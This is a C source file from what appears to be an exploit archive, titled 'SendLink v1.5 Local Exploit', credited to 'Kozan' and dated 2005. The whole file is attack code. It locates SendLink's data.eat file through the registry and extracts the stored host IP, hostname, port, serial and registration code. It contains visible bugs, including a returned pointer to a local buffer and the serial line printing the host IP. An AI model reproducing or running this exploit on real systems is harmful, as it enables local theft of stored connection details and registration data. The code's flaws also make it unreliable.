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C/C++ Source or Header  |  2005-03-05  |  5KB  |  178 lines
  1. /*****************************************************************
  2.  
  3. SendLink v1.5 Local Exploit by Kozan
  4.  
  5. Application: SendLink v1.5
  6. Vendor:Computer Knacks
  7. http://www.computerknacks.com/
  8.  
  9. Vulnerable Description: SendLink v1.5 discloses passwords to local users.
  10.  
  11. Discovered & Coded by: Kozan
  12. Credits to ATmaCA
  13. Web : www.netmagister.com
  14. Web2: www.spyinstructors.com
  15. Mail: kozan[at]netmagister[dot]com
  16.  
  17. *****************************************************************/
  18.  
  19. #include <windows.h>
  20. #include <stdio.h>
  21. #include <string.h>
  22.  
  23. #define BUFSIZE 100
  24. HKEY hKey;
  25. char prgfiles[BUFSIZE];
  26. DWORD dwBufLen=BUFSIZE;
  27. LONG lRet;
  28.  
  29. char *hostip, *hostname, *serial, *options, *regcode, *hostport;
  30.  
  31. int adresal(char *FilePath,char *Str)
  32. {
  33.       char kr;
  34.       int Sayac=0;
  35.       int Offset=-1;
  36.       FILE *di;
  37.       di=fopen(FilePath,"rb");
  38.  
  39.       if( di == NULL )
  40.       {
  41.               fclose(di);
  42.               return -1;
  43.       }
  44.  
  45.       while(!feof(di))
  46.       {
  47.               Sayac++;
  48.               for(int i=0;i<strlen(Str);i++)
  49.               {
  50.                       kr=getc(di);
  51.                       if(kr != Str[i])
  52.                       {
  53.                               if( i>0 )
  54.                               {
  55.                                       fseek(di,Sayac+1,SEEK_SET);
  56.                               }
  57.                               break;
  58.                       }
  59.                       if( i > ( strlen(Str)-2 ) )
  60.                       {
  61.                               Offset = ftell(di)-strlen(Str);
  62.                               fclose(di);
  63.                               return Offset;
  64.                       }
  65.               }
  66.       }
  67.       fclose(di);
  68.       return -1;
  69. }
  70.  
  71. char *oku(char *FilePath,char *Str)
  72. {
  73.  
  74.       FILE *di;
  75.       char cr;
  76.           char BB = 0xBB;
  77.       int i=0;
  78.       char Feature[500];
  79.  
  80.       int Offset = adresal(FilePath,Str);
  81.  
  82.       if( Offset == -1 )
  83.               return "";
  84.  
  85.       if( (di=fopen(FilePath,"rb")) == NULL )
  86.               return "";
  87.  
  88.       fseek(di,Offset+strlen(Str),SEEK_SET);
  89.  
  90.       while(!feof(di))
  91.       {
  92.               cr=getc(di);
  93.               if(cr == BB)
  94.                           break;
  95.  
  96.               Feature[i] = cr;
  97.               i++;
  98.       }
  99.  
  100.       Feature[i] = '\0';
  101.       fclose(di);
  102.       return Feature;
  103. }
  104.  
  105. int main(void)
  106. {
  107.        if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
  108.                   "SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
  109.                   0,
  110.                   KEY_QUERY_VALUE,
  111.                   &hKey) == ERROR_SUCCESS)
  112.        {
  113.  
  114.                lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
  115.                                                                (LPBYTE)
  116. prgfiles, &dwBufLen);
  117.  
  118.                if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
  119.                {
  120.                        RegCloseKey(hKey);
  121.            printf("An error occured!\n");
  122.                        return 0;
  123.                }
  124.  
  125.       RegCloseKey(hKey);
  126.  
  127.        }
  128.        else
  129.    {
  130.                RegCloseKey(hKey);
  131.        printf("An error occured!\n");
  132.                return 0;
  133.        }
  134.  
  135.        strcat(prgfiles,"\\SendLink\\User\\data.eat");
  136.  
  137.        printf("SendLink v1.5 Local Exploit by Kozan\n");
  138.        printf("Credits to ATmaCA\n");
  139.        printf("www.netmagister.com  -  www.spyinstructors.com \n\n");
  140.  
  141.        try
  142.        {
  143.                char hostip_temp[BUFSIZE];
  144.                wsprintf(hostip_temp,"hostip%c=%c",0xBB,0xAB);
  145.                hostip=oku(prgfiles,hostip_temp);
  146.                printf("Host IP: %s\n",hostip);
  147.  
  148.                char hostname_temp[BUFSIZE];
  149.                wsprintf(hostname_temp,"hostname%c=%c",0xBB,0xAB);
  150.                hostname=oku(prgfiles,hostname_temp);
  151.                printf("Hostname                        : %s\n",hostname);
  152.  
  153.                char hostport_temp[BUFSIZE];
  154.                wsprintf(hostport_temp,"hostport%c=%c",0xBB,0xAB);
  155.                hostport=oku(prgfiles,hostport_temp);
  156.                printf("Host Port                        : %s\n",hostport);
  157.  
  158.                char options_temp[BUFSIZE];
  159.                wsprintf(options_temp,"options%c=%c",0xBB,0xAB);
  160.                options=oku(prgfiles,options_temp);
  161.                printf("Options                                : %s\n",options);
  162.  
  163.                char serial_temp[BUFSIZE];
  164.                wsprintf(serial_temp,"serial%c=%c",0xBB,0xAB);
  165.                serial=oku(prgfiles,serial_temp);
  166.                printf("Serial                                : %s\n",hostip);
  167.  
  168.                char regcode_temp[BUFSIZE];
  169.                wsprintf(regcode_temp,"regcode%c=%c",0xBB,0xAB);
  170.                regcode=oku(prgfiles,regcode_temp);
  171.                printf("Registration Code        : %s\n",regcode);
  172.  
  173.        }catch(...){ printf("An error occured!\n"); return 0; }
  174.  
  175.        return 0;
  176.  
  177. }
  178.